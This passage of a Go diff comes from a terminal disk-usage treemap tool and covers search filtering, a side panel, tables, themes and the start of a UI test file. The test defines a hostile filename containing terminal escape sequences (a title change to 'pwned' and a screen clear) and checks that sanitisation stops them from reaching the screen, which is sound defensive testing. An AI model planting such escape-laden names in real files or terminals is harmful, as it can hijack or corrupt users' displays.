e.buf = append(e.buf[:e.cur], append(rs, e.buf[e.cur:]...)...)
|
||||
e.cur += len(rs)
|
||||
return true, true
|
||||
}
|
||||
return false, true
|
||||
}
|
||||
|
||||
type searchState struct {
|
||||
editing bool
|
||||
ed lineEditor
|
||||
query *filter.Query
|
||||
result *filter.Result
|
||||
err string
|
||||
gen int
|
||||
busy bool
|
||||
appliedAt time.Time
|
||||
cancel context.CancelFunc
|
||||
}
|
||||
|
||||
func (s *searchState) begin() {
|
||||
s.editing = true
|
||||
if s.query != nil {
|
||||
s.ed.set(s.query.String())
|
||||
}
|
||||
}
|
||||
|
||||
func (m *Model) searchKey(msg tea.KeyPressMsg) tea.Cmd {
|
||||
s := &m.search
|
||||
switch msg.Keystroke() {
|
||||
case "esc":
|
||||
s.editing = false
|
||||
m.clearFilter()
|
||||
return nil
|
||||
case "enter":
|
||||
s.editing = false
|
||||
if s.err != "" {
|
||||
return m.warn("Invalid query: " + s.err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
changed, _ := s.ed.key(msg)
|
||||
if changed {
|
||||
return m.queryChanged()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// queryChanged parses the editor contents and schedules a debounced apply.
|
||||
func (m *Model) queryChanged() tea.Cmd {
|
||||
s := &m.search
|
||||
s.gen++
|
||||
text := s.ed.String()
|
||||
if text == "" {
|
||||
s.err = ""
|
||||
m.dropFilter()
|
||||
return nil
|
||||
}
|
||||
q, err := filter.Parse(text, time.Now())
|
||||
if err != nil {
|
||||
s.err = err.Error()
|
||||
return nil
|
||||
}
|
||||
s.err = ""
|
||||
s.query = q
|
||||
gen := s.gen
|
||||
return tea.Tick(120*time.Millisecond, func(time.Time) tea.Msg { return filterDebounceMsg{gen} })
|
||||
}
|
||||
|
||||
// setFilter replaces the filter with q and applies it immediately.
|
||||
func (m *Model) setFilter(q string) tea.Cmd {
|
||||
m.search.ed.set(q)
|
||||
m.search.editing = false
|
||||
m.queryChanged()
|
||||
if m.search.err != "" {
|
||||
return m.warn("Invalid query: " + m.search.err)
|
||||
}
|
||||
return m.applyFilter()
|
||||
}
|
||||
|
||||
// applyFilter evaluates the current query in the background. The tree is
|
||||
// read-locked by the worker; stale results are discarded by generation.
|
||||
func (m *Model) applyFilter() tea.Cmd {
|
||||
s := &m.search
|
||||
if s.query == nil {
|
||||
return nil
|
||||
}
|
||||
if s.cancel != nil {
|
||||
s.cancel()
|
||||
}
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
s.cancel = cancel
|
||||
s.busy = true
|
||||
s.appliedAt = time.Now()
|
||||
t, q, mode, gen := m.tree, s.query, m.sizeMode, s.gen
|
||||
return func() tea.Msg {
|
||||
t.RLock()
|
||||
res, err := filter.Apply(ctx, t, q, mode)
|
||||
t.RUnlock()
|
||||
return filterMsg{gen: gen, res: res, err: err}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *Model) filterResult(msg filterMsg) tea.Cmd {
|
||||
s := &m.search
|
||||
if msg.gen != s.gen || s.query == nil {
|
||||
return nil
|
||||
}
|
||||
s.busy = false
|
||||
if msg.err != nil {
|
||||
return nil
|
||||
}
|
||||
s.result = msg.res
|
||||
m.invalidate()
|
||||
return nil
|
||||
}
|
||||
|
||||
// dropFilter removes the active filter but keeps the editor open.
|
||||
func (m *Model) dropFilter() {
|
||||
s := &m.search
|
||||
if s.cancel != nil {
|
||||
s.cancel()
|
||||
}
|
||||
s.query, s.result, s.busy = nil, nil, false
|
||||
m.invalidate()
|
||||
}
|
||||
|
||||
func (m *Model) clearFilter() {
|
||||
m.dropFilter()
|
||||
m.search.ed.set("")
|
||||
m.search.err = ""
|
||||
m.search.gen++
|
||||
}
|
||||
|
||||
func (m *Model) paintSearch(cv *Canvas, r treemap.Rect) {
|
||||
t := m.theme
|
||||
s := &m.search
|
||||
st := Style{FG: t.Fg, BG: t.PanelBg}
|
||||
cv.Fill(r, " ", st)
|
||||
x := r.X + 1
|
||||
x += cv.Text(x, r.Y, "/ ", 2, Style{FG: t.Accent, BG: t.PanelBg, Attr: Bold})
|
||||
status, statusSt := "", Style{FG: t.Muted, BG: t.PanelBg}
|
||||
switch {
|
||||
case s.err != "":
|
||||
status, statusSt.FG = "✗ "+s.err, t.Err
|
||||
case s.busy:
|
||||
status = "filtering…"
|
||||
case s.result != nil:
|
||||
status = fmt.Sprintf("%s matches · %s", textutil.Count(s.result.Count), textutil.Size(s.result.Total))
|
||||
case len(s.ed.buf) == 0:
|
||||
status = "name, *.iso, size > 1GB, ext IN (iso,vmdk), age > 365d … Enter keep · Esc clear"
|
||||
}
|
||||
sw := min(textutil.Width(status), r.W/2)
|
||||
avail := r.W - (x - r.X) - sw - 3
|
||||
// Scroll the text so the cursor stays visible.
|
||||
text := s.ed.buf
|
||||
start := 0
|
||||
if s.ed.cur > avail-1 {
|
||||
start = s.ed.cur - avail + 1
|
||||
}
|
||||
vis := string(text[start:min(len(text), start+avail)])
|
||||
cv.Text(x, r.Y, textutil.Sanitize(vis), avail, st)
|
||||
cx := x + textutil.Width(textutil.Sanitize(string(text[start:s.ed.cur])))
|
||||
under := " "
|
||||
if s.ed.cur < len(text) {
|
||||
under = textutil.Sanitize(string(text[s.ed.cur]))
|
||||
}
|
||||
cv.Text(cx, r.Y, under, 2, Style{FG: t.PanelBg, BG: t.Fg, Attr: m.monoRev()})
|
||||
cv.TextRight(r.X, r.Y, r.W-1, textutil.Truncate(status, sw), statusSt)
|
||||
}
|
||||
|
||||
func (m *Model) paintFilterSummary(cv *Canvas, r treemap.Rect) {
|
||||
t := m.theme
|
||||
s := &m.search
|
||||
x := r.X + 1
|
||||
x += cv.Text(x, r.Y, " FILTER ", 8, Style{FG: t.textOn(t.Warn), BG: t.Warn, Attr: Bold | m.monoRev()})
|
||||
x += cv.Text(x+1, r.Y, textutil.Sanitize(s.query.String()), r.W/2, Style{FG: t.Fg, BG: t.PanelBg, Attr: Bold}) + 1
|
||||
info := "filtering…"
|
||||
if s.result != nil && !s.busy {
|
||||
info = fmt.Sprintf("%s matches · %s of %s · / edit · Esc clear", textutil.Count(s.result.Count),
|
||||
textutil.Size(s.result.Total), textutil.Size(m.tree.Node(0).Total(m.sizeMode)))
|
||||
}
|
||||
cv.Text(x+2, r.Y, info, r.X+r.W-x-3, Style{FG: t.Muted, BG: t.PanelBg})
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
"github.com/andydixon/mapsize/internal/treemap"
|
||||
)
|
||||
|
||||
// paintSide draws the large-layout side panel: directory summary, category
|
||||
// breakdown and the selected item.
|
||||
func (m *Model) paintSide(cv *Canvas, r treemap.Rect) {
|
||||
t := m.theme
|
||||
ps := t.panel()
|
||||
cv.Fill(r, " ", ps)
|
||||
cv.Fill(treemap.Rect{X: r.X + r.W - 1, Y: r.Y, W: 1, H: r.H}, "│", Style{FG: t.Faint, BG: t.PanelBg})
|
||||
w := r.W - 3
|
||||
x := r.X + 1
|
||||
y := r.Y + 1
|
||||
end := r.Y + r.H
|
||||
head := func(s string) {
|
||||
if y < end {
|
||||
cv.Text(x, y, s, w, Style{FG: t.Accent, BG: t.PanelBg, Attr: Bold})
|
||||
y++
|
||||
}
|
||||
}
|
||||
kvl := func(k, v string, vs Style) {
|
||||
if y < end {
|
||||
cv.Text(x, y, k, w, Style{FG: t.Muted, BG: t.PanelBg})
|
||||
cv.TextRight(x, y, w, v, vs)
|
||||
y++
|
||||
}
|
||||
}
|
||||
val := Style{FG: t.Fg, BG: t.PanelBg, Attr: Bold}
|
||||
tr := m.tree
|
||||
z := tr.Node(m.zoom)
|
||||
|
||||
head("DIRECTORY")
|
||||
for _, l := range wrap(textutil.Sanitize(z.Name), w) {
|
||||
if y < end {
|
||||
cv.Text(x, y, l, w, Style{FG: t.Fg, BG: t.PanelBg, Attr: Bold})
|
||||
y++
|
||||
}
|
||||
}
|
||||
y++
|
||||
kvl("Size", textutil.Size(m.sizeOf(m.zoom)), val)
|
||||
kvl("Logical", textutil.Size(z.TotSize), Style{FG: t.Fg, BG: t.PanelBg})
|
||||
kvl("Allocated", textutil.Size(z.TotAlloc), Style{FG: t.Fg, BG: t.PanelBg})
|
||||
kvl("Files", textutil.Count(int64(z.Files)), Style{FG: t.Fg, BG: t.PanelBg})
|
||||
kvl("Directories", textutil.Count(int64(z.Dirs)), Style{FG: t.Fg, BG: t.PanelBg})
|
||||
if z.Errors > 0 {
|
||||
kvl("Errors", textutil.Count(int64(z.Errors)), Style{FG: t.Err, BG: t.PanelBg, Attr: Bold})
|
||||
}
|
||||
y++
|
||||
|
||||
// Category breakdown with proportional bars.
|
||||
if cs := tr.CatSizes(m.zoom); cs != nil {
|
||||
head("CATEGORIES")
|
||||
type cat struct {
|
||||
c inventory.Category
|
||||
v int64
|
||||
}
|
||||
var cats []cat
|
||||
var total int64
|
||||
for i, v := range cs {
|
||||
if v > 0 {
|
||||
cats = append(cats, cat{inventory.Category(i), v})
|
||||
total += v
|
||||
}
|
||||
}
|
||||
sort.Slice(cats, func(i, j int) bool { return cats[i].v > cats[j].v })
|
||||
for _, c := range cats {
|
||||
if y >= end-8 {
|
||||
break
|
||||
}
|
||||
col := t.Cat[c.c]
|
||||
sw := "██ "
|
||||
if t.Mono || t.ASCII {
|
||||
sw = " "
|
||||
}
|
||||
cv.Text(x, y, sw, 3, Style{FG: col, BG: t.PanelBg})
|
||||
cv.Text(x+3, y, c.c.String(), w-3, Style{FG: t.Fg, BG: t.PanelBg})
|
||||
cv.TextRight(x, y, w, textutil.Percent(c.v, total), Style{FG: t.Muted, BG: t.PanelBg})
|
||||
y++
|
||||
m.paintBar(cv, x+3, y, w-3, float64(c.v)/float64(cats[0].v), col, false)
|
||||
y++
|
||||
}
|
||||
y++
|
||||
}
|
||||
|
||||
// Selected item.
|
||||
if y < end-4 {
|
||||
head("SELECTED")
|
||||
desc := []string{}
|
||||
if isGroup(m.sel) {
|
||||
if g, ok := m.groupInfo(m.sel); ok {
|
||||
desc = append(desc, fmt.Sprintf("%s smaller items", textutil.Count(int64(len(g.ids)))), textutil.Size(g.size))
|
||||
}
|
||||
} else if id := m.selectedNode(); id != inventory.NoNode {
|
||||
n := tr.Node(id)
|
||||
desc = append(desc, wrap(textutil.Sanitize(n.Name), w)...)
|
||||
desc = append(desc, textutil.Size(m.sizeOf(id))+" · "+textutil.Percent(m.sizeOf(id), m.sizeOf(m.zoom)))
|
||||
if n.IsDir() {
|
||||
desc = append(desc, textutil.Count(int64(n.Files))+" files")
|
||||
} else {
|
||||
desc = append(desc, kindLabel(tr, n))
|
||||
}
|
||||
}
|
||||
for _, d := range desc {
|
||||
if y < end {
|
||||
cv.Text(x, y, d, w, Style{FG: t.Fg, BG: t.PanelBg})
|
||||
y++
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,222 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
tea "charm.land/bubbletea/v2"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
"github.com/andydixon/mapsize/internal/treemap"
|
||||
)
|
||||
|
||||
// column describes one table column.
|
||||
type column struct {
|
||||
title string
|
||||
width int // 0 = flexible (takes the remaining space)
|
||||
right bool
|
||||
clipLeft bool // truncate from the left (paths: the tail matters)
|
||||
}
|
||||
|
||||
// tableRow is one rendered row: cell strings plus optional per-cell styles.
|
||||
type tableRow struct {
|
||||
cells []string
|
||||
styles []*Style // nil = default
|
||||
bar float64 // 0..1 for an optional bar column (-1 = none)
|
||||
barCol Color
|
||||
}
|
||||
|
||||
// table is a scrollable list with a cursor, shared by the list-style views.
|
||||
type table struct {
|
||||
cursor, offset int
|
||||
height int // rows visible in the last paint
|
||||
}
|
||||
|
||||
// scroll moves the cursor three rows for a mouse wheel step.
|
||||
func (tb *table) scroll(up bool, n int) {
|
||||
if up {
|
||||
tb.move(-3, n)
|
||||
} else {
|
||||
tb.move(3, n)
|
||||
}
|
||||
}
|
||||
|
||||
func (tb *table) move(d, n int) {
|
||||
if n == 0 {
|
||||
tb.cursor = 0
|
||||
return
|
||||
}
|
||||
tb.cursor = min(max(tb.cursor+d, 0), n-1)
|
||||
}
|
||||
|
||||
// key handles navigation keys common to all tables.
|
||||
func (tb *table) key(k string, n int) bool {
|
||||
page := max(tb.height-1, 1)
|
||||
switch k {
|
||||
case "up", "k":
|
||||
tb.move(-1, n)
|
||||
case "down", "j":
|
||||
tb.move(1, n)
|
||||
case "pgup", "ctrl+b":
|
||||
tb.move(-page, n)
|
||||
case "pgdown", "ctrl+f":
|
||||
tb.move(page, n)
|
||||
case "end", "G":
|
||||
tb.move(n, n)
|
||||
case "g":
|
||||
tb.cursor = 0
|
||||
default:
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (tb *table) paint(m *Model, cv *Canvas, r treemap.Rect, cols []column, rows []tableRow, title string) {
|
||||
t := m.theme
|
||||
cv.Fill(r, " ", t.base())
|
||||
if r.H < 3 {
|
||||
return
|
||||
}
|
||||
y := r.Y
|
||||
if title != "" {
|
||||
cv.Text(r.X+1, y, title, r.W-2, Style{FG: t.Accent, BG: t.Bg, Attr: Bold})
|
||||
y++
|
||||
}
|
||||
// Resolve flexible width.
|
||||
fixed := 0
|
||||
for _, c := range cols {
|
||||
fixed += c.width + 1
|
||||
}
|
||||
flex := max(r.W-2-fixed, 8)
|
||||
x := r.X + 1
|
||||
hdr := Style{FG: t.Muted, BG: t.Bg, Attr: Bold}
|
||||
for _, c := range cols {
|
||||
w := c.width
|
||||
if w == 0 {
|
||||
w = flex
|
||||
}
|
||||
s := c.title
|
||||
if c.right {
|
||||
s = textutil.PadLeft(s, w)
|
||||
}
|
||||
cv.Text(x, y, s, w, hdr)
|
||||
x += w + 1
|
||||
}
|
||||
y++
|
||||
cv.HLine(r.X+1, y, r.W-2, "─", Style{FG: t.Faint, BG: t.Bg})
|
||||
y++
|
||||
tb.height = r.Y + r.H - y
|
||||
if tb.cursor >= len(rows) {
|
||||
tb.cursor = max(len(rows)-1, 0)
|
||||
}
|
||||
if tb.cursor < tb.offset {
|
||||
tb.offset = tb.cursor
|
||||
}
|
||||
if tb.cursor >= tb.offset+tb.height {
|
||||
tb.offset = tb.cursor - tb.height + 1
|
||||
}
|
||||
tb.offset = max(0, min(tb.offset, len(rows)-tb.height))
|
||||
for i := tb.offset; i < len(rows) && y < r.Y+r.H; i++ {
|
||||
row := rows[i]
|
||||
sel := i == tb.cursor
|
||||
base := t.base()
|
||||
if sel {
|
||||
base = Style{FG: t.textOn(t.Sel), BG: t.Sel, Attr: Bold | m.monoRev()}
|
||||
cv.Fill(treemap.Rect{X: r.X, Y: y, W: r.W, H: 1}, " ", base)
|
||||
}
|
||||
x := r.X + 1
|
||||
for ci, c := range cols {
|
||||
w := c.width
|
||||
if w == 0 {
|
||||
w = flex
|
||||
}
|
||||
s := ""
|
||||
if ci < len(row.cells) {
|
||||
s = row.cells[ci]
|
||||
}
|
||||
st := base
|
||||
if !sel && ci < len(row.styles) && row.styles[ci] != nil {
|
||||
st = *row.styles[ci]
|
||||
}
|
||||
if c.title == "" && row.bar >= 0 {
|
||||
m.paintBar(cv, x, y, w, row.bar, row.barCol, sel)
|
||||
} else if c.right {
|
||||
cv.Text(x, y, textutil.PadLeft(s, w), w, st)
|
||||
} else if c.clipLeft {
|
||||
cv.Text(x, y, textutil.TruncateLeft(s, w), w, st)
|
||||
} else {
|
||||
cv.Text(x, y, textutil.Truncate(s, w), w, st)
|
||||
}
|
||||
x += w + 1
|
||||
}
|
||||
idx := i
|
||||
m.hits = append(m.hits, hit{treemap.Rect{X: r.X, Y: y, W: r.W, H: 1}, func(m *Model, double bool) tea.Cmd {
|
||||
tb.cursor = idx
|
||||
if double {
|
||||
return m.handleKeyName("enter")
|
||||
}
|
||||
return nil
|
||||
}})
|
||||
y++
|
||||
}
|
||||
if len(rows) == 0 {
|
||||
cv.TextCentered(r.X, r.Y+r.H/2, r.W, "Nothing to show", t.muted())
|
||||
}
|
||||
if len(rows) > tb.height && tb.height > 0 {
|
||||
pos := textutil.Count(int64(tb.cursor+1)) + "/" + textutil.Count(int64(len(rows)))
|
||||
cv.TextRight(r.X, r.Y, r.W-1, pos, t.muted())
|
||||
}
|
||||
}
|
||||
|
||||
// paintBar draws a proportional bar with eighth-block precision.
|
||||
func (m *Model) paintBar(cv *Canvas, x, y, w int, frac float64, col Color, sel bool) {
|
||||
t := m.theme
|
||||
if col == 0 {
|
||||
col = t.Accent
|
||||
}
|
||||
bg := t.Bg.Mix(t.Fg, 0.08)
|
||||
if sel {
|
||||
bg = t.Sel.Mix(RGB(0, 0, 0), 0.25)
|
||||
}
|
||||
eighths := int(frac*float64(w*8) + 0.5)
|
||||
parts := []string{"", "▏", "▎", "▍", "▌", "▋", "▊", "▉"}
|
||||
for i := 0; i < w; i++ {
|
||||
ch := " "
|
||||
switch {
|
||||
case eighths >= 8:
|
||||
ch = "█"
|
||||
case eighths > 0:
|
||||
ch = parts[eighths]
|
||||
}
|
||||
if t.ASCII {
|
||||
ch = " "
|
||||
if eighths >= 4 {
|
||||
ch = "#"
|
||||
}
|
||||
}
|
||||
eighths -= 8
|
||||
st := Style{FG: col, BG: bg}
|
||||
if t.Mono {
|
||||
st = Style{}
|
||||
}
|
||||
cv.Text(x+i, y, ch, 1, st)
|
||||
}
|
||||
}
|
||||
|
||||
// handleKeyName lets mouse actions reuse key handling (lock already held).
|
||||
func (m *Model) handleKeyName(k string) tea.Cmd {
|
||||
if handled, cmd := m.views[m.view].key(m, k); handled {
|
||||
return cmd
|
||||
}
|
||||
switch k {
|
||||
case "enter":
|
||||
return m.inspectSelection()
|
||||
case "space":
|
||||
return m.zoomIntoSelection()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func plural(n int, s string) string {
|
||||
if n == 1 {
|
||||
return "1 " + s
|
||||
}
|
||||
return textutil.Count(int64(n)) + " " + s + "s"
|
||||
}
|
||||
@@ -0,0 +1,165 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/config"
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
)
|
||||
|
||||
// Theme holds every colour the UI uses. Nothing else in the TUI hard-codes
|
||||
// colours.
|
||||
type Theme struct {
|
||||
Name string
|
||||
Mono bool // no colour: rely on attributes and glyphs
|
||||
ASCII bool // no box-drawing glyphs
|
||||
|
||||
Bg, Fg, Muted, Faint Color
|
||||
Accent, Sel Color
|
||||
HeaderBg, HeaderFg Color
|
||||
StatusBg, StatusFg Color
|
||||
PanelBg Color
|
||||
Warn, Err, OK Color
|
||||
Group Color
|
||||
EmptyDir Color
|
||||
Cat [inventory.NumCategories]Color
|
||||
DiffGrow, DiffShrink Color
|
||||
DiffNew, DiffSame Color
|
||||
Ext map[string]Color
|
||||
}
|
||||
|
||||
var themes = map[string]func() *Theme{
|
||||
"default": defaultTheme,
|
||||
"dark": darkTheme,
|
||||
"high-contrast": highContrastTheme,
|
||||
"mono": monoTheme,
|
||||
}
|
||||
|
||||
// ThemeNames lists built-in themes.
|
||||
func ThemeNames() []string {
|
||||
var out []string
|
||||
for k := range themes {
|
||||
out = append(out, k)
|
||||
}
|
||||
sort.Strings(out)
|
||||
return out
|
||||
}
|
||||
|
||||
func defaultTheme() *Theme {
|
||||
return &Theme{
|
||||
Name: "default",
|
||||
Bg: RGB(0x16, 0x18, 0x1d), Fg: RGB(0xdc, 0xdf, 0xe4), Muted: RGB(0x8a, 0x91, 0x9c), Faint: RGB(0x4a, 0x50, 0x5a),
|
||||
Accent: RGB(0x61, 0xaf, 0xef), Sel: RGB(0xff, 0xd8, 0x66),
|
||||
HeaderBg: RGB(0x21, 0x25, 0x2b), HeaderFg: RGB(0xdc, 0xdf, 0xe4),
|
||||
StatusBg: RGB(0x2c, 0x31, 0x3a), StatusFg: RGB(0xc8, 0xcc, 0xd4),
|
||||
PanelBg: RGB(0x1c, 0x1f, 0x25),
|
||||
Warn: RGB(0xe5, 0xc0, 0x7b), Err: RGB(0xe0, 0x6c, 0x75), OK: RGB(0x98, 0xc3, 0x79),
|
||||
Group: RGB(0x5c, 0x63, 0x70), EmptyDir: RGB(0x4b, 0x52, 0x63),
|
||||
Cat: [inventory.NumCategories]Color{
|
||||
inventory.CatOther: RGB(0x7f, 0x8c, 0x9d),
|
||||
inventory.CatImage: RGB(0xe5, 0xc0, 0x7b),
|
||||
inventory.CatVideo: RGB(0xe0, 0x6c, 0x75),
|
||||
inventory.CatAudio: RGB(0xd1, 0x9a, 0x66),
|
||||
inventory.CatArchive: RGB(0xc6, 0x78, 0xdd),
|
||||
inventory.CatDiskImage: RGB(0x8e, 0x7c, 0xf0),
|
||||
inventory.CatDatabase: RGB(0x56, 0xb6, 0xc2),
|
||||
inventory.CatCode: RGB(0x98, 0xc3, 0x79),
|
||||
inventory.CatDocument: RGB(0x61, 0xaf, 0xef),
|
||||
inventory.CatExecutable: RGB(0xbe, 0x50, 0x46),
|
||||
inventory.CatLog: RGB(0xa3, 0xa8, 0x6a),
|
||||
inventory.CatCache: RGB(0x6b, 0x77, 0x88),
|
||||
},
|
||||
DiffGrow: RGB(0xf0, 0x5a, 0x5a), DiffShrink: RGB(0x5a, 0xd0, 0x7a),
|
||||
DiffNew: RGB(0x4f, 0xa8, 0xff), DiffSame: RGB(0x50, 0x56, 0x60),
|
||||
}
|
||||
}
|
||||
|
||||
func darkTheme() *Theme {
|
||||
t := defaultTheme()
|
||||
t.Name = "dark"
|
||||
t.Bg, t.PanelBg = RGB(0, 0, 0), RGB(0x0c, 0x0c, 0x0e)
|
||||
t.HeaderBg, t.StatusBg = RGB(0x12, 0x12, 0x16), RGB(0x1a, 0x1a, 0x20)
|
||||
for i, c := range t.Cat {
|
||||
t.Cat[i] = c.Mix(RGB(0, 0, 0), 0.2)
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
func highContrastTheme() *Theme {
|
||||
t := defaultTheme()
|
||||
t.Name = "high-contrast"
|
||||
t.Bg, t.Fg, t.Muted = RGB(0, 0, 0), RGB(0xff, 0xff, 0xff), RGB(0xd0, 0xd0, 0xd0)
|
||||
t.HeaderBg, t.StatusBg, t.PanelBg = RGB(0, 0, 0), RGB(0x20, 0x20, 0x20), RGB(0, 0, 0)
|
||||
t.Sel, t.Accent = RGB(0xff, 0xff, 0x00), RGB(0x00, 0xff, 0xff)
|
||||
t.Cat = [inventory.NumCategories]Color{
|
||||
RGB(0xb0, 0xb0, 0xb0), RGB(0xff, 0xd7, 0x00), RGB(0xff, 0x30, 0x30), RGB(0xff, 0x8c, 0x00),
|
||||
RGB(0xff, 0x00, 0xff), RGB(0x9b, 0x7b, 0xff), RGB(0x00, 0xe5, 0xff), RGB(0x00, 0xff, 0x00),
|
||||
RGB(0x40, 0x9c, 0xff), RGB(0xff, 0x55, 0x55), RGB(0xc8, 0xff, 0x00), RGB(0x90, 0x90, 0xa0),
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
func monoTheme() *Theme {
|
||||
return &Theme{Name: "mono", Mono: true}
|
||||
}
|
||||
|
||||
// LoadTheme returns a built-in theme with user overrides applied.
|
||||
func LoadTheme(name string, s config.Settings) *Theme {
|
||||
f, ok := themes[strings.ToLower(name)]
|
||||
if !ok {
|
||||
f = defaultTheme
|
||||
}
|
||||
t := f()
|
||||
if t.Mono {
|
||||
return t
|
||||
}
|
||||
for k, v := range s.CategoryColors {
|
||||
if c, ok := inventory.ParseCategory(k); ok {
|
||||
if col, ok := Hex(v); ok {
|
||||
t.Cat[c] = col
|
||||
}
|
||||
}
|
||||
}
|
||||
for k, v := range s.ExtensionColors {
|
||||
if col, ok := Hex(v); ok {
|
||||
if t.Ext == nil {
|
||||
t.Ext = map[string]Color{}
|
||||
}
|
||||
t.Ext[strings.ToLower(strings.TrimPrefix(k, "."))] = col
|
||||
}
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
// Styles derived from the theme.
|
||||
func (t *Theme) base() Style { return Style{FG: t.Fg, BG: t.Bg} }
|
||||
func (t *Theme) muted() Style { return Style{FG: t.Muted, BG: t.Bg} }
|
||||
func (t *Theme) header() Style { return Style{FG: t.HeaderFg, BG: t.HeaderBg} }
|
||||
func (t *Theme) status() Style { return Style{FG: t.StatusFg, BG: t.StatusBg} }
|
||||
func (t *Theme) panel() Style { return Style{FG: t.Fg, BG: t.PanelBg} }
|
||||
|
||||
func (t *Theme) box() BoxChars {
|
||||
if t.ASCII {
|
||||
return BoxASCII
|
||||
}
|
||||
return BoxLight
|
||||
}
|
||||
|
||||
func (t *Theme) selBox() BoxChars {
|
||||
if t.ASCII {
|
||||
return BoxASCIISel
|
||||
}
|
||||
return BoxDouble
|
||||
}
|
||||
|
||||
// textOn picks a readable text colour for a background.
|
||||
func (t *Theme) textOn(bg Color) Color {
|
||||
if bg == 0 {
|
||||
return t.Fg
|
||||
}
|
||||
if bg.Luma() > 0.55 {
|
||||
return RGB(0x10, 0x12, 0x16)
|
||||
}
|
||||
return RGB(0xf2, 0xf4, 0xf7)
|
||||
}
|
||||
@@ -0,0 +1,482 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
"github.com/charmbracelet/colorprofile"
|
||||
"github.com/charmbracelet/x/ansi"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/scan"
|
||||
"github.com/andydixon/mapsize/internal/treemap"
|
||||
)
|
||||
|
||||
const hostile = "evil\x1b]0;pwned\x07\x1b[2J.iso"
|
||||
|
||||
func testTree() *inventory.Tree {
|
||||
t := inventory.New("/srv", inventory.KindDir)
|
||||
add := func(p inventory.NodeID, name string, size int64) inventory.NodeID {
|
||||
id := t.Add(p, name, inventory.KindFile)
|
||||
n := t.Node(id)
|
||||
n.Size, n.Alloc = size, size
|
||||
n.Cat = inventory.CategoryFor(inventory.Ext(name), false, false)
|
||||
n.MTime = 1_700_000_000_000_000_000
|
||||
return id
|
||||
}
|
||||
dir := func(p inventory.NodeID, name string) inventory.NodeID {
|
||||
id := t.Add(p, name, inventory.KindDir)
|
||||
t.Node(id).Flags |= inventory.FlagScanned
|
||||
return id
|
||||
}
|
||||
backups := dir(0, "backups")
|
||||
for i := range 40 {
|
||||
add(backups, fmt.Sprintf("dump-%02d.tar.gz", i), int64(1+i)<<30)
|
||||
}
|
||||
vms := dir(0, "vms")
|
||||
add(vms, "ubuntu.qcow2", 86<<30)
|
||||
add(vms, "win.vmdk", 40<<30)
|
||||
media := dir(0, "media")
|
||||
photos := dir(media, "photos 日本語")
|
||||
for i := range 300 {
|
||||
add(photos, fmt.Sprintf("img%03d.jpg", i), int64(i+1)<<20)
|
||||
}
|
||||
add(media, hostile, 9<<30)
|
||||
add(media, "👨👩👧 family.mp4", 12<<30)
|
||||
tiny := dir(0, "tiny")
|
||||
for i := range 2000 {
|
||||
add(tiny, fmt.Sprintf("f%d", i), 100)
|
||||
}
|
||||
add(0, "README", 10)
|
||||
t.Recompute()
|
||||
t.Stats.Complete = true
|
||||
return t
|
||||
}
|
||||
|
||||
func newTestModel(t *testing.T) *Model {
|
||||
t.Helper()
|
||||
tr := testTree()
|
||||
m := newModel(Options{Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, tr, nil }},
|
||||
nil, tr, func() {})
|
||||
m.profile = colorprofile.TrueColor
|
||||
return m
|
||||
}
|
||||
|
||||
func send(m *Model, msgs ...tea.Msg) {
|
||||
for _, msg := range msgs {
|
||||
m.Update(msg)
|
||||
}
|
||||
}
|
||||
|
||||
func key(s string) tea.KeyPressMsg {
|
||||
switch s {
|
||||
case "up":
|
||||
return tea.KeyPressMsg{Code: tea.KeyUp}
|
||||
case "down":
|
||||
return tea.KeyPressMsg{Code: tea.KeyDown}
|
||||
case "left":
|
||||
return tea.KeyPressMsg{Code: tea.KeyLeft}
|
||||
case "right":
|
||||
return tea.KeyPressMsg{Code: tea.KeyRight}
|
||||
case "enter":
|
||||
return tea.KeyPressMsg{Code: tea.KeyEnter}
|
||||
case "esc":
|
||||
return tea.KeyPressMsg{Code: tea.KeyEscape}
|
||||
case "space":
|
||||
return tea.KeyPressMsg{Code: tea.KeySpace, Text: " "}
|
||||
case "backspace":
|
||||
return tea.KeyPressMsg{Code: tea.KeyBackspace}
|
||||
case "home":
|
||||
return tea.KeyPressMsg{Code: tea.KeyHome}
|
||||
case "tab":
|
||||
return tea.KeyPressMsg{Code: tea.KeyTab}
|
||||
}
|
||||
r := []rune(s)[0]
|
||||
return tea.KeyPressMsg{Code: r, Text: s}
|
||||
}
|
||||
|
||||
func size(w, h int) tea.WindowSizeMsg { return tea.WindowSizeMsg{Width: w, Height: h} }
|
||||
|
||||
// checkFrame verifies the rendered frame exactly fills w×h cells and that no
|
||||
// filename control sequence leaked through.
|
||||
func checkFrame(t *testing.T, m *Model, w, h int) string {
|
||||
t.Helper()
|
||||
content := m.View().Content
|
||||
if strings.Contains(content, "\x1b]") || strings.Contains(content, "\x07") || strings.Contains(content, "\x1b[2J") {
|
||||
t.Fatalf("terminal control sequence from a filename leaked into the frame")
|
||||
}
|
||||
lines := strings.Split(content, "\n")
|
||||
if len(lines) != h {
|
||||
t.Fatalf("%dx%d: frame has %d lines", w, h, len(lines))
|
||||
}
|
||||
